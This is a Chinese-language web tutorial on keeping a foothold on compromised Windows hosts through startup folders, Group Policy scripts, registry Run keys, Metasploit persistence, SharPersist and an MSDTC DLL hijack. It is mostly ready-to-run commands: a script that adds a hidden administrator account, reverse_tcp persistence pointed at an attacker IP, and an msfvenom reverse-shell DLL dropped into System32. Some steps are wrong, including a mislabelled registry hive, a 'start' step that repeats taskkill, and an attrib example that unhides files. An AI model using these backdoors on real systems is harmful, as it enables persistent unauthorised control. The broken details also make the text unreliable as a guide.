2025年3月28日 星期五 甲辰(龙)年 月廿七 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 系统应用 > Windows

巧用系统启动项玩转Windows权限维持

时间:03-31来源:作者:点击数:28

Windows中有很多自动启动程序的方法,这些方法稍加利用可以即可帮助我们完成Windows下的权限维持,下文将分别从启动文件夹利用,组策略利用,注册表利用分别展开

启动文件夹利用

启动文件夹利用思路较为简单,即将Payload文件放在启动文件夹,再利用文件隐藏技巧对Payload进行隐藏

所在位置

  • # 系统级自启动文件夹,需要System权限才能操作
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  • # 用户级自启动文件夹,文件夹所属用户登录可以操作
  • C:\Users\${用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

利用方法

1、将文件移植文件夹

2、对文件进行隐藏处理,如利用attrib为文件进行隐藏

  • attrib -S -A -H -R test.txt

更多文件隐藏技巧可以参考《文件隐藏技巧在Windows权限维持中的应用》

组策略的利用

组策略的利用方法与启动文件夹的利用思路基本一致,即在组策略中添加Payload,利用组策略的自启动策略来加载Payload文件

所在位置

  • # 计算机启动时加载
  • C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
  • # 计算机关闭时加载
  • C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
  • # 只针对用户添加启动项
  • C:\Windows\System32\GroupPolicy\User\Scripts\Logon
  • C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
在这里插入图片描述

利用方法

1、在启动项中添加启动脚本,如

  • # 将下面作为bat文件,添加到启动项中
  • echo off
  • net user redteam$ redteam /add
  • net localgroup administrators redteam$ /add
  • exit

注册表利用

所在位置

Windows注册表存在的自启动后门较多,此类后门主要利用原理为将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行。此处以较为经典的两类自启动项进行说明演示。

注册表位置说明

  • # HKEY_LOCAL_MACHINE类
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • # HKEY_CURRENT_USER类
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

说明:

1、HKEY_CURRENT_USER类,为用户级注册表,即只有当前用户登录才会触发自启动,其他用户登录不会触发。

2、HKEY_LOCAL_MACHINE类,为主机类注册表,即只要主机启动自启动项就会被触发。

3、Run和RunServices的区别是,Run中的程序是WINDOWS初始化后才运行的,而RunService中的程序是在操作系统启动时就开始运行的,也就是说RunServices中的程序先于Run中的程序运行

4、Run与RunOnce键区别是,Run 键值每次开机均会被执行,RunOnce 键值只执行一次,操作执行后会被自动删除

利用方法

方法一:使用reg add进行添加

语法说明

  • REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
  • [/reg:32 | /reg:64]
  • KeyName [\\Machine\]FullKey
  • Machine 远程机器名 - 忽略默认到当前机器。远程机器上
  • 只有 HKLMHKU 可用。
  • FullKey ROOTKEY\SubKey
  • ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
  • SubKey 所选 ROOTKEY 下注册表项的完整名称。
  • /v 所选项之下要添加的值名称。
  • /ve 为注册表项添加空白值名称(默认)。
  • /t RegKey 数据类型
  • [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
  • REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ]
  • 如果忽略,则采用 REG_SZ。
  • /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
  • 如果忽略,则将 "\0" 用作分隔符。
  • /d 要分配给添加的注册表 ValueName 的数据。
  • /f 不用提示就强行覆盖现有注册表项。
  • /reg:32 指定应该使用 32 位注册表视图访问的注册表项。
  • /reg:64 指定应该使用 64 位注册表视图访问的注册表项。

举例

  • reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Flash /t REG_SZ /d " E:\Flash.exe"
在这里插入图片描述
方法二:使用Metasploit后渗透模块添加
  • # 1、run persistence用法
  • -A 自动启动一个匹配的exploit / multi / handler来连接到代理
  • -L <opt> 如果未使用%TEMP%,则在目标主机中写入有效负载的位置
  • -P <opt> 使用哪个Payload,默认使用 windows/meterpreter/reverse_tcp.
  • -S 作为服务自动启动代理程序(具有SYSTEM权限)
  • -T <opt> 要使用的备用可执行模板
  • -U 用户登录时自动启动代理
  • -X 系统引导时自动启动代理程序
  • -h 这个帮助菜单
  • -i <opt> 每次连接尝试之间的时间间隔(秒)
  • -p <opt> 运行Metasploit的系统正在侦听的端口
  • -r <opt> 运行Metasploit监听连接的系统的IP

举例

  • run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p msf端口 -r msf对应IP
在这里插入图片描述
  • # 2、post/windows/manage/persistence_exe模块用法
  • # 启动模块persistence_exe
  • use post/windows/manage/persistence_exe
  • # 设置要用的payload
  • set REXEPATH /opt/msf/flash.exe
  • # 查看要攻击的主机session
  • sessions -l
  • # 设置要攻击的主机session
  • set SESSION 1
  • # 设置植入哪类注册表,如以获得SYSTEM权限可以设置为 set STARTUP USER
  • set STARTUP USER
  • # 设置payload存放在目标主机的位置
  • set LOCALEXEPATH C:\\tmp
  • # 执行攻击
  • run
在这里插入图片描述
方法三:使用SharPersist工具

SharPersist是C#编写的命令行工具,其主要为了解决使用多种不同的技术在Windows操作系统上建立持久性,该工具的主要功能为;

1、reg-注册表项添加/修改

2、keepass-keepass配置文件后门

3、schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务

4、startupfolder-启动文件夹中的lnk文件

5、tortoisesvn-乌龟svn钩子脚本

6、service-创建新的Windows服务

7、schtask-创建新的计划任务

此处演示以msf与SharPersist结合使用

  • # 将SharPersist下载到你的msf服务下面(位置随便)
  • wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe
在这里插入图片描述
  • # 将SharPersist.exe推送到你的目标机器方便一会用
  • upload /opt/msf/SharPersist.exe E:\\
在这里插入图片描述
  • # 使用SharPersist添加注册表
  • SharPersist.exe -t reg -c "C:\Windows\System32\cmd.exe" -a "/c E:\Flash.exe" -k "hkcurun" -v "Flash" -m add
在这里插入图片描述

查看是否添加成功

在这里插入图片描述
方法四:基于msdtc的dll劫持后门

msdtc,全称Microsoft Distributed Transaction Coordinator,是微软分布式传输协调程序,此服务主要时解决多数据源协调问题。此后门的利用原理为:因为MSDTC服务启动时会搜索并加载三个dll文件(oci.dll,SQLLib80.dll,xa80.dll),我们通过将Payload伪装为dll文件的方式,让MSDTC加载我们的木马程序。从而完成劫持过程

DLL劫持原理介绍

DLL劫持指的是,通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。我们可以利用此原理探索更多劫持手段

注册表所在位置为:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

dll存放路径为:C:\Windows\system32\

优先伪造系统不存在的dll避免因dll替换导致系统正在运行的功能收到影响

在这里插入图片描述

利用方法

此方法建立在已经拿到服务器的system账户权限情况下进行,关于提权可以参考本系列提权类文章

1、用msf生成利用dll

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=替换IP LPORT=替换端口 -f dll >oci.dll

2、将dll文件放到dll存放路径(C:\Windows\system32\)

  • # 1、将payload下载到目标机本地
  • upload /opt/msf/oci.dll E:\\
在这里插入图片描述
  • # 2、进入目标机shell
  • shell
在这里插入图片描述
  • # 3、将payload移动到C:\Windows\System32
  • move E:\oci.dll c:\Windows\System32
在这里插入图片描述

3、重启msdtc.exe

  • # 1、杀死msdtc.exe
  • taskkill /f /im msdtc.exe
在这里插入图片描述
  • # 2、启动msdtc
  • taskkill /f /im msdtc.exe
在这里插入图片描述

至此主机已上线

在这里插入图片描述

为了您和您家人的幸福,请不要利用文中技术在用户未授权情况下开展渗透测试!!!

《中华人民共和国刑法》

第二百八十五条

违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

第二百八十六条

违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。

故意制作、传播计算机病毒等破坏程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门